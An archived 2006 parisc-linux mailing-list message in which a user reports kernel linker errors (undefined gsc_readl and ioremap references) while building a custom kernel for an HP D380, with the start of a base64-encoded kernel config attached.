	by guri.is.scarlet.be  with ESMTP id k2G6u0Z19813 
	for <parisc-linux@lists.parisc-linux.org>; 
	Thu, 16 Mar 2006 07:56:01 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WGlrZAlBeSEkar6WZHQhaXN1IGRvb4BE
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23458

--_=__=_XaM3_.1142492161.2A.591283.42.8117.52.42.007.1024389334
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello pa*,

Just a short report build failure of my custom kernel for my d380 (32bit =
up):
   ld   -o .tmp_vmlinux1 -T arch/parisc/kernel/vmlinux.lds
arch/parisc/kernel/head.o   init/built-in.o --start-group  usr/built-in.o=
 
arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o 
kernel/built-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o 
security/built-in.o  crypto/built-in.o  block/built-in.o  lib/lib.a 
arch/parisc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-i=
n.o 
sound/built-in.o  net/built-in.o --end-group 
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readl'
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readl'
drivers/built-in.o: In function `sti_rom_copy': undefined reference to `g=
sc_readb'
drivers/built-in.o: In function `sti_bmode_rom_copy': undefined reference=
 to
`gsc_readl'
drivers/built-in.o: In function `sti_get_wmode_rom': undefined reference =
to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`gsc_readl'
drivers/built-in.o: more undefined references to `gsc_readl' follow
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`ioremap'
drivers/built-in.o: In function `sti_try_rom_generic': undefined referenc=
e to
`ioremap_nocache'
make[1]: *** [.tmp_vmlinux1] Error 1
make: *** [vmlinux] Error 2

Any idea?

TIA,
    Joel

PS: I here attached my cfg file.

=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/
--_=__=_XaM3_.1142492161.2A.591283.42.8117.52.42.007.1024389334
Content-Type: application/octet-stream; 
	name="=?iso-8859-1?Q?CustomConfigD380?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="=?iso-8859-1?Q?CustomConfigD380?="

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIG1ha2UgY29uZmlnOiBkb24ndCBlZGl0CiMg
TGludXgga2VybmVsIHZlcnNpb246IDIuNi4xNi1yYzYtcGFlbTIKIyBXZWQgTWFyIDE1IDE2
OjA3OjQ3IDIwMDYKIwpDT05GSUdfUEFSSVNDPXkKQ09ORklHX01NVT15CkNPTkZJR19TVEFD
S19HUk9XU1VQPXkKQ09ORklHX1JXU0VNX0dFTkVSSUNfU1BJTkxPQ0s9eQpDT05GSUdfR0VO
RVJJQ19DQUxJQlJBVEVfREVMQVk9eQpDT05GSUdfR0VORVJJQ19IQVJESVJRUz15CkNPTkZJ
R19HRU5FUklDX0lSUV9QUk9CRT15CgojCiMgQ29kZSBtYXR1cml0eSBsZXZlbCBvcHRpb25z
CiMKQ09ORklHX0VYUEVSSU1FTlRBTD15CkNPTkZJR19CUk9LRU5fT05fU01QPXkKQ09ORklH
X0lOSVRfRU5WX0FSR19MSU1JVD0zMgoKIwojIEdlbmVyYWwgc2V0dXAKIwpDT05GSUdfTE9D
QUxWRVJTSU9OPSItZDMydXAiCkNPTkZJR19MT0NBTFZFUlNJT05fQVVUTz15CkNPTkZJR19T
V0FQPXkKQ09ORklHX1NZU1ZJUEM9eQojIENPTkZJR19QT1NJWF9NUVVFVUUgaXMgbm90IHNl
dAojIENPTkZJR19CU0RfUFJPQ0VTU19BQ0NUIGlzIG5vdCBzZXQKQ09ORklHX1NZU0NUTD15
CiMgQ09ORklHX0FVRElUIGlzIG5vdCBzZXQKQ09ORklHX0lLQ09ORklHPXkKQ09ORklHX0lL
Q09ORklHX1BST0M9eQpDT05GSUdfSU5JVFJBTUZTX1NPVVJDRT0iIgojIENPTkZJR19DQ19P
UFRJTUlaRV9GT1JfU0laRSBpcyBub3Qgc2V0CiMgQ09ORklHX0VNQkVEREVEIGlzIG5vdCBz
ZXQKQ09ORklHX0tBTExTWU1TPXkKQ09ORklHX0tBTExTWU1TX0FMTD15CiMgQ09ORklHX0tB
TExTWU1TX0VYVFJBX1BBU1MgaXMgbm90IHNldApDT05GSUdfSE9UUExVRz15CkNPTkZJR19Q
UklOVEs9eQpDT05GSUdfQlVHPXkKQ09ORklHX0VMRl9DT1JFPXkKQ09ORklHX0JBU0VfRlVM
TD15CkNPTkZJR19GVVRFWD15CkNPTkZJR19FUE9MTD15CkNPTkZJR19TSE1FTT15CkNPTkZJ
R19DQ19BTElHTl9GVU5DVElPTlM9MApDT05GSUdfQ0NfQUxJR05fTEFCRUxTPTAKQ09ORklH
X0NDX0FMSUdOX0xPT1BTPTAKQ09ORklHX0NDX0FMSUdOX0pVTVBTPTAKQ09ORklHX1NMQUI9
eQojIENPTkZJR19USU5ZX1NITUVNIGlzIG5vdCBzZXQKQ09ORklHX0JBU0VfU01BTEw9MAoj
IENPTkZJR19TTE9CIGlzIG5vdCBzZXQKCiMKIyBMb2FkYWJsZSBtb2R1bGUgc3VwcG9ydAoj
CkNPTkZJR19NT0RVTEVTPXkKQ09ORklHX01PRFVMRV9VTkxPQUQ9eQpDT05GSUdfTU9EVUxF
X0ZPUkNFX1VOTE9BRD15CkNPTkZJR19PQlNPTEVURV9NT0RQQVJNPXkKIyBDT05GSUdfTU9E
VkVSU0lPTlMgaXMgbm90IHNldAojIENPTkZJR19NT0RVTEVfU1JDVkVSU0lPTl9BTEwgaXMg
bm90IHNldApDT05GSUdfS01PRD15CgojCiMgQmxvY2sgbGF5ZXIKIwoKIwojIElPIFNjaGVk
dWxlcnMKIwpDT05GSUdfSU9TQ0hFRF9OT09QPXkKQ09ORklHX0lPU0NIRURfQVM9eQpDT05G
SUdfSU9TQ0hFRF9ERUFETElORT15CkNPTkZJR19JT1NDSEVEX0NGUT15CkNPTkZJR19ERUZB
VUxUX0FTPXkKIyBDT05GSUdfREVGQVVMVF9ERUFETElORSBpcyBub3Qgc2V0CiMgQ09ORklH
X0RFRkFVTFRfQ0ZRIGlzIG5vdCBzZXQKIyBDT05GSUdfREVGQVVMVF9OT09QIGlzIG5vdCBz
ZXQKQ09ORklHX0RFRkFVTFRfSU9TQ0hFRD0iYW50aWNpcGF0b3J5IgoKIwojIFByb2Nlc3Nv
ciB0eXBlIGFuZCBmZWF0dXJlcwojCiMgQ09ORklHX1BBNzAwMCBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBNzEwMExDIGlzIG5vdCBzZXQKIyBDT05GSUdfUEE3MjAwIGlzIG5vdCBzZXQKIyBD
T05GSUdfUEE3MzAwTEMgaXMgbm90IHNldApDT05GSUdfUEE4WDAwPXkKQ09ORklHX1BBMjA9
eQpDT05GSUdfUFJFRkVUQ0g9eQojIENPTkZJR182NEJJVCBpcyBub3Qgc2V0CkNPTkZJR19I
UFBBX0lPUkVNQVA9eQojIENPTkZJR19TTVAgaXMgbm90IHNldApDT05GSUdfQVJDSF9GTEFU
TUVNX0VOQUJMRT15CiMgQ09ORklHX0haXzEwMCBpcyBub3Qgc2V0CkNPTkZJR19IWl8yNTA9
eQojIENPTkZJR19IWl8xMDAwIGlzIG5vdCBzZXQKQ09ORklHX0haPTI1MApDT05GSUdfU0VM
RUNUX01FTU9SWV9NT0RFTD15CkNPTkZJR19GTEFUTUVNX01BTlVBTD15CiMgQ09ORklHX0RJ
U0NPTlRJR01FTV9NQU5VQUwgaXMgbm90IHNldAojIENPTkZJR19TUEFSU0VNRU1fTUFOVUFM
IGlzIG5vdCBzZXQKQ09ORklHX0ZMQVRNRU09eQpDT05GSUdfRkxBVF9OT0RFX01FTV9NQVA9
eQojIENPTkZJR19TUEFSU0VNRU1fU1RBVElDIGlzIG5vdCBzZXQKQ09ORklHX1NQTElUX1BU
TE9DS19DUFVTPTQKIyBDT05GSUdfUFJFRU1QVCBpcyBub3Qgc2V0CiMgQ09ORklHX0hQVVgg
aXMgbm90IHNldAoKIwojIEJ1cyBvcHRpb25zIChQQ0ksIFBDTUNJQSwgRUlTQSwgR1NDLCBJ
U0EpCiMKQ09ORklHX0dTQz15CiMgQ09ORklHX0hQUEIgaXMgbm90IHNldApDT05GSUdfSU9N
TVVfQ0NJTz15CkNPTkZJR19HU0NfTEFTST15CkNPTkZJR19HU0NfV0FYPXkKQ09ORklHX0VJ
U0E9eQpDT05GSUdfRUlTQV9OQU1FUz15CkNPTkZJR19JU0E9eQojIENPTkZJR19QQ0kgaXMg
bm90IHNldAoKIwojIFBDQ0FSRCAoUENNQ0lBL0NhcmRCdXMpIHN1cHBvcnQKIwojIENPTkZJ
R19QQ0NBUkQgaXMgbm90IHNldAoKIwojIFBDSSBIb3RwbHVnIFN1cHBvcnQKIwoKIwojIFBB
LVJJU0Mgc3BlY2lmaWMgZHJpdmVycwojCkNPTkZJR19DSEFTU0lTX0xDRF9MRUQ9eQojIENP
TkZJR19QRENfQ0hBU1NJUyBpcyBub3Qgc2V0CkNPTkZJR19QRENfU1RBQkxFPXkKCiMKIyBF
eGVjdXRhYmxlIGZpbGUgZm9ybWF0cwojCkNPTkZJR19CSU5GTVRfRUxGPXkKIyBDT05GSUdf
QklORk1UX01JU0MgaXMgbm90IHNldAoKIwojIE5ldHdvcmtpbmcKIwpDT05GSUdfTkVUPXkK
CiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwojIENPTkZJR19ORVRERUJVRyBpcyBub3Qgc2V0
CkNPTkZJR19QQUNLRVQ9eQpDT05GSUdfUEFDS0VUX01NQVA9eQpDT05GSUdfVU5JWD15CiMg
Q09ORklHX05FVF9LRVkgaXMgbm90IHNldApDT05GSUdfSU5FVD15CkNPTkZJR19JUF9NVUxU
SUNBU1Q9eQojIENPTkZJR19JUF9BRFZBTkNFRF9ST1VURVIgaXMgbm90IHNldApDT05GSUdf
SVBfRklCX0hBU0g9eQpDT05GSUdfSVBfUE5QPXkKIyBDT05GSUdfSVBfUE5QX0RIQ1AgaXMg
bm90IHNldApDT05GSUdfSVBfUE5QX0JPT1RQPXkKIyBDT05GSUdfSVBfUE5QX1JBUlAgaXMg
bm90IHNldAojIENPTkZJR19ORVRfSVBJUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUEdS
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX01ST1VURSBpcyBub3Qgc2V0CiMgQ09ORklHX0FS
UEQgaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09PS0lFUyBpcyBub3Qgc2V0CiMgQ09ORklH
X0lORVRfQUggaXMgbm90IHNldAojIENPTkZJR19JTkVUX0VTUCBpcyBub3Qgc2V0CiMgQ09O
RklHX0lORVRfSVBDT01QIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9UVU5ORUwgaXMgbm90
IHNldApDT05GSUdfSU5FVF9ESUFHPXkKQ09ORklHX0lORVRfVENQX0RJQUc9eQojIENPTkZJ
R19UQ1BfQ09OR19BRFZBTkNFRCBpcyBub3Qgc2V0CkNPTkZJR19UQ1BfQ09OR19CSUM9eQpD
T05GSUdfSVBWNj15CkNPTkZJR19JUFY2X1BSSVZBQ1k9eQojIENPTkZJR19JTkVUNl9BSCBp
cyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X0VTUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2
X0lQQ09NUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVQ2X1RVTk5FTCBpcyBub3Qgc2V0CiMg
Q09ORklHX0lQVjZfVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVURklMVEVSIGlzIG5v
dCBzZXQKCiMKIyBEQ0NQIENvbmZpZ3VyYXRpb24gKEVYUEVSSU1FTlRBTCkKIwojIENPTkZJ
R19JUF9EQ0NQIGlzIG5vdCBzZXQKCiMKIyBTQ1RQIENvbmZpZ3VyYXRpb24gKEVYUEVSSU1F
TlRBTCkKIwojIENPTkZJR19JUF9TQ1RQIGlzIG5vdCBzZXQKCiMKIyBUSVBDIENvbmZpZ3Vy
YXRpb24gKEVYUEVSSU1FTlRBTCkKIwojIENPTkZJR19USVBDIGlzIG5vdCBzZXQKIyBDT05G
SUdfQVRNIGlzIG5vdCBzZXQKIyBDT05GSUdfQlJJREdFIGlzIG5vdCBzZXQKIyBDT05GSUdf
VkxBTl84MDIxUSBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0CiMgQ09O
RklHX0xMQzIgaXMgbm90IHNldAojIENPTkZJR19JUFggaXMgbm90IHNldAojIENPTkZJR19B
VEFMSyBpcyBub3Qgc2V0CiMgQ09ORklHX1gyNSBpcyBub3Qgc2V0CiMgQ09ORklHX0xBUEIg
aXMgbm90IHNldAojIENPTkZJR19ORVRfRElWRVJUIGlzIG5vdCBzZXQKIyBDT05GSUdfRUNP
TkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0CgojCiMgUW9T
IGFuZC9vciBmYWlyIHF1ZXVlaW5nCiMKIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQK
CiMKIyBOZXR3b3JrIHRlc3RpbmcKIwojIENPTkZJR19ORVRfUEtUR0VOIGlzIG5vdCBzZXQK
IyBDT05GSUdfSEFNUkFESU8gaXMgbm90IHNldAojIENPTkZJR19JUkRBIGlzIG5vdCBzZXQK
IyBDT05GSUdfQlQgaXMgbm90IHNldAojIENPTkZJR19JRUVFODAyMTEgaXMgbm90IHNldAoK
IwojIERldmljZSBEcml2ZXJzCiMKCiMKIyBHZW5lcmljIERyaXZlciBPcHRpb25zCiMKQ09O
RklHX1NUQU5EQUxPTkU9eQpDT05GSUdfUFJFVkVOVF9GSVJNV0FSRV9CVUlMRD15CiMgQ09O
RklHX0ZXX0xPQURFUiBpcyBub3Qgc2V0CkNPTkZJR19ERUJVR19EUklWRVI9eQoKIwojIENv
bm5lY3RvciAtIHVuaWZpZWQgdXNlcnNwYWNlIDwtPiBrZXJuZWxzcGFjZSBsaW5rZXIKIwoj
IENPTkZJR19DT05ORUNUT1IgaXMgbm90IHNldAoKIwojIE1lbW9yeSBUZWNobm9sb2d5IERl
dmljZXMgKE1URCkKIwojIENPTkZJR19NVEQgaXMgbm90IHNldAoKIwojIFBhcmFsbGVsIHBv
cnQgc3VwcG9ydAojCkNPTkZJR19QQVJQT1JUPXkKQ09ORklHX1BBUlBPUlRfUEM9eQojIENP
TkZJR19QQVJQT1JUX1BDX0ZJRk8gaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUX1BDX1NV
UEVSSU8gaXMgbm90IHNldApDT05GSUdfUEFSUE9SVF9OT1RfUEM9eQpDT05GSUdfUEFSUE9S
VF9HU0M9eQojIENPTkZJR19QQVJQT1JUXzEyODQgaXMgbm90IHNldAoKIwojIFBsdWcgYW5k
IFBsYXkgc3VwcG9ydAojCiMgQ09ORklHX1BOUCBpcyBub3Qgc2V0CgojCiMgQmxvY2sgZGV2
aWNlcwojCiMgQ09ORklHX1BBUklERSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfQ09X
X0NPTU1PTiBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX0xPT1A9eQpDT05GSUdfQkxLX0RF
Vl9DUllQVE9MT09QPXkKIyBDT05GSUdfQkxLX0RFVl9OQkQgaXMgbm90IHNldAojIENPTkZJ
R19CTEtfREVWX1JBTSBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX1JBTV9DT1VOVD0xNgoj
IENPTkZJR19DRFJPTV9QS1RDRFZEIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRBX09WRVJfRVRI
IGlzIG5vdCBzZXQKCiMKIyBBVEEvQVRBUEkvTUZNL1JMTCBzdXBwb3J0CiMKIyBDT05GSUdf
SURFIGlzIG5vdCBzZXQKCiMKIyBTQ1NJIGRldmljZSBzdXBwb3J0CiMKIyBDT05GSUdfUkFJ
RF9BVFRSUyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJPXkKQ09ORklHX1NDU0lfUFJPQ19GUz15
CgojCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRhcGUsIENELVJPTSkKIwpDT05GSUdf
QkxLX0RFVl9TRD15CkNPTkZJR19DSFJfREVWX1NUPXkKIyBDT05GSUdfQ0hSX0RFVl9PU1NU
IGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU1I9eQojIENPTkZJR19CTEtfREVWX1NSX1ZF
TkRPUiBpcyBub3Qgc2V0CkNPTkZJR19DSFJfREVWX1NHPXkKIyBDT05GSUdfQ0hSX0RFVl9T
Q0ggaXMgbm90IHNldAoKIwojIFNvbWUgU0NTSSBkZXZpY2VzIChlLmcuIENEIGp1a2Vib3gp
IHN1cHBvcnQgbXVsdGlwbGUgTFVOcwojCiMgQ09ORklHX1NDU0lfTVVMVElfTFVOIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9DT05TVEFOVFMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X0xPR0dJTkcgaXMgbm90IHNldAoKIwojIFNDU0kgVHJhbnNwb3J0IEF0dHJpYnV0ZXMKIwpD
T05GSUdfU0NTSV9TUElfQVRUUlM9eQojIENPTkZJR19TQ1NJX0ZDX0FUVFJTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0NTSV9JU0NTSV9BVFRSUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
U0FTX0FUVFJTIGlzIG5vdCBzZXQKCiMKIyBTQ1NJIGxvdy1sZXZlbCBkcml2ZXJzCiMKIyBD
T05GSUdfSVNDU0lfVENQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSEExNTJYIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9BSEExNzQwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9B
SUM3WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfSU4yMDAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TQVRBIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0NTSV9EVEMzMjgwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9GVVRVUkVfRE9NQUlOIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9HRU5FUklDX05DUjUz
ODAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0dFTkVSSUNfTkNSNTM4MF9NTUlPIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9QUEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lNTSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTkNSNTNDNDA2QSBpcyBub3Qgc2V0CkNPTkZJR19T
Q1NJX0xBU0k3MDA9eQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkKQ09ORklHX1NDU0lfWkFM
T049eQpDT05GSUdfU0NTSV9OQ1I1M0M4WFhfREVGQVVMVF9UQUdTPTgKQ09ORklHX1NDU0lf
TkNSNTNDOFhYX01BWF9UQUdTPTMyCkNPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU5DPTIwCiMg
Q09ORklHX1NDU0lfTkNSNTNDOFhYX1BST0ZJTEUgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X1BBUzE2IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9QU0kyNDBJIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0NTSV9RTE9HSUNfRkFTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TSU03MTAg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NZTTUzQzQxNiBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfVDEyOCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREVCVUcgaXMgbm90IHNldAoK
IwojIE9sZCBDRC1ST00gZHJpdmVycyAobm90IFNDU0ksIG5vdCBJREUpCiMKIyBDT05GSUdf
Q0RfTk9fSURFU0NTSSBpcyBub3Qgc2V0CgojCiMgTXVsdGktZGV2aWNlIHN1cHBvcnQgKFJB
SUQgYW5kIExWTSkKIwpDT05GSUdfTUQ9eQpDT05GSUdfQkxLX0RFVl9NRD15CkNPTkZJR19N
RF9MSU5FQVI9eQpDT05GSUdfTURfUkFJRDA9eQpDT05GSUdfTURfUkFJRDE9eQpDT05GSUdf
TURfUkFJRDEwPXkKQ09ORklHX01EX1JBSUQ1PXkKQ09ORklHX01EX1JBSUQ2PXkKIyBDT05G
SUdfTURfTVVMVElQQVRIIGlzIG5vdCBzZXQKIyBDT05GSUdfTURfRkFVTFRZIGlzIG5vdCBz
ZXQKQ09ORklHX0JMS19ERVZfRE09eQojIENPTkZJR19ETV9DUllQVCBpcyBub3Qgc2V0CiMg
Q09ORklHX0RNX1NOQVBTSE9UIGlzIG5vdCBzZXQKIyBDT05GSUdfRE1fTUlSUk9SIGlzIG5v
dCBzZXQKIyBDT05GSUdfRE1fWkVSTyBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX01VTFRJUEFU
SCBpcyBub3Qgc2V0CgojCiMgRnVzaW9uIE1QVCBkZXZpY2Ugc3VwcG9ydAojCiMgQ09ORklH
X0ZVU0lPTiBpcyBub3Qgc2V0CgojCiMgSUVFRSAxMzk0IChGaXJlV2lyZSkgc3VwcG9ydAoj
CgojCiMgSTJPIGRldmljZSBzdXBwb3J0CiMKCiMKIyBOZXR3b3JrIGRldmljZSBzdXBwb3J0
CiMKQ09ORklHX05FVERFVklDRVM9eQojIENPTkZJR19EVU1NWSBpcyBub3Qgc2V0CiMgQ09O
RklHX0JPTkRJTkcgaXMgbm90IHNldAojIENPTkZJR19FUVVBTElaRVIgaXMgbm90IHNldAoj
IENPTkZJR19UVU4gaXMgbm90IHNldAoKIwojIEFSQ25ldCBkZXZpY2VzCiMKIyBDT05GSUdf
QVJDTkVUIGlzIG5vdCBzZXQKCiMKIyBQSFkgZGV2aWNlIHN1cHBvcnQKIwojIENPTkZJR19Q
SFlMSUIgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgxMCBvciAxMDBNYml0KQojCkNPTkZJ
R19ORVRfRVRIRVJORVQ9eQojIENPTkZJR19NSUkgaXMgbm90IHNldApDT05GSUdfTEFTSV84
MjU5Nj15CiMgQ09ORklHX05FVF9WRU5ET1JfM0NPTSBpcyBub3Qgc2V0CiMgQ09ORklHX05F
VF9WRU5ET1JfU01DIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9SQUNBTCBpcyBu
b3Qgc2V0CgojCiMgVHVsaXAgZmFtaWx5IG5ldHdvcmsgZGV2aWNlIHN1cHBvcnQKIwpDT05G
SUdfTkVUX1RVTElQPXkKQ09ORklHX0RFNFg1PW0KIyBDT05GSUdfQVQxNzAwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfREVQQ0EgaXMgbm90IHNldAojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9JU0EgaXMgbm90IHNldAojIENPTkZJR19ORVRfUENJIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkVUX1BPQ0tFVCBpcyBub3Qgc2V0CgojCiMgRXRoZXJuZXQgKDEwMDAg
TWJpdCkKIwoKIwojIEV0aGVybmV0ICgxMDAwMCBNYml0KQojCgojCiMgVG9rZW4gUmluZyBk
ZXZpY2VzCiMKIyBDT05GSUdfVFIgaXMgbm90IHNldAoKIwojIFdpcmVsZXNzIExBTiAobm9u
LWhhbXJhZGlvKQojCiMgQ09ORklHX05FVF9SQURJTyBpcyBub3Qgc2V0CgojCiMgV2FuIGlu
dGVyZmFjZXMKIwojIENPTkZJR19XQU4gaXMgbm90IHNldAojIENPTkZJR19GRERJIGlzIG5v
dCBzZXQKIyBDT05GSUdfUExJUCBpcyBub3Qgc2V0CkNPTkZJR19QUFA9bQojIENPTkZJR19Q
UFBfTVVMVElMSU5LIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBQX0ZJTFRFUiBpcyBub3Qgc2V0
CiMgQ09ORklHX1BQUF9BU1lOQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BQUF9TWU5DX1RUWSBp
cyBub3Qgc2V0CiMgQ09ORklHX1BQUF9ERUZMQVRFIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBQ
X0JTRENPTVAgaXMgbm90IHNldAojIENPTkZJR19QUFBfTVBQRSBpcyBub3Qgc2V0CiMgQ09O
RklHX1BQUE9FIGlzIG5vdCBzZXQKIyBDT05GSUdfU0xJUCBpcyBub3Qgc2V0CiMgQ09ORklH
X1NIQVBFUiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVENPTlNPTEUgaXMgbm90IHNldAojIENP
TkZJR19ORVRQT0xMIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1BPTExfQ09OVFJPTExFUiBp
cyBub3Qgc2V0CgojCiMgSVNETiBzdWJzeXN0ZW0KIwojIENPTkZJR19JU0ROIGlzIG5vdCBz
ZXQKCiMKIyBUZWxlcGhvbnkgU3VwcG9ydAojCiMgQ09ORklHX1BIT05FIGlzIG5vdCBzZXQK
CiMKIyBJbnB1dCBkZXZpY2Ugc3VwcG9ydAojCkNPTkZJR19JTlBVVD15CgojCiMgVXNlcmxh
bmQgaW50ZXJmYWNlcwojCkNPTkZJR19JTlBVVF9NT1VTRURFVj15CkNPTkZJR19JTlBVVF9N
T1VTRURFVl9QU0FVWD15CkNPTkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0CkNP
TkZJR19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWT03NjgKIyBDT05GSUdfSU5QVVRfSk9ZREVW
IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfVFNERVYgaXMgbm90IHNldApDT05GSUdfSU5Q
VVRfRVZERVY9eQojIENPTkZJR19JTlBVVF9FVkJVRyBpcyBub3Qgc2V0CgojCiMgSW5wdXQg
RGV2aWNlIERyaXZlcnMKIwpDT05GSUdfSU5QVVRfS0VZQk9BUkQ9eQojIENPTkZJR19LRVlC
T0FSRF9BVEtCRCBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX1NVTktCRCBpcyBub3Qg
c2V0CiMgQ09ORklHX0tFWUJPQVJEX0xLS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9B
UkRfWFRLQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9ORVdUT04gaXMgbm90IHNl
dAojIENPTkZJR19LRVlCT0FSRF9ISUxfT0xEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9B
UkRfSElMIGlzIG5vdCBzZXQKQ09ORklHX0lOUFVUX01PVVNFPXkKIyBDT05GSUdfTU9VU0Vf
UFMyIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0VfU0VSSUFMIGlzIG5vdCBzZXQKIyBDT05G
SUdfTU9VU0VfSU5QT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0VfTE9HSUJNIGlzIG5v
dCBzZXQKIyBDT05GSUdfTU9VU0VfUEMxMTBQQUQgaXMgbm90IHNldAojIENPTkZJR19NT1VT
RV9WU1hYWEFBIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0VfSElMIGlzIG5vdCBzZXQKIyBD
T05GSUdfSU5QVVRfSk9ZU1RJQ0sgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9UT1VDSFND
UkVFTiBpcyBub3Qgc2V0CkNPTkZJR19JTlBVVF9NSVNDPXkKIyBDT05GSUdfSU5QVVRfVUlO
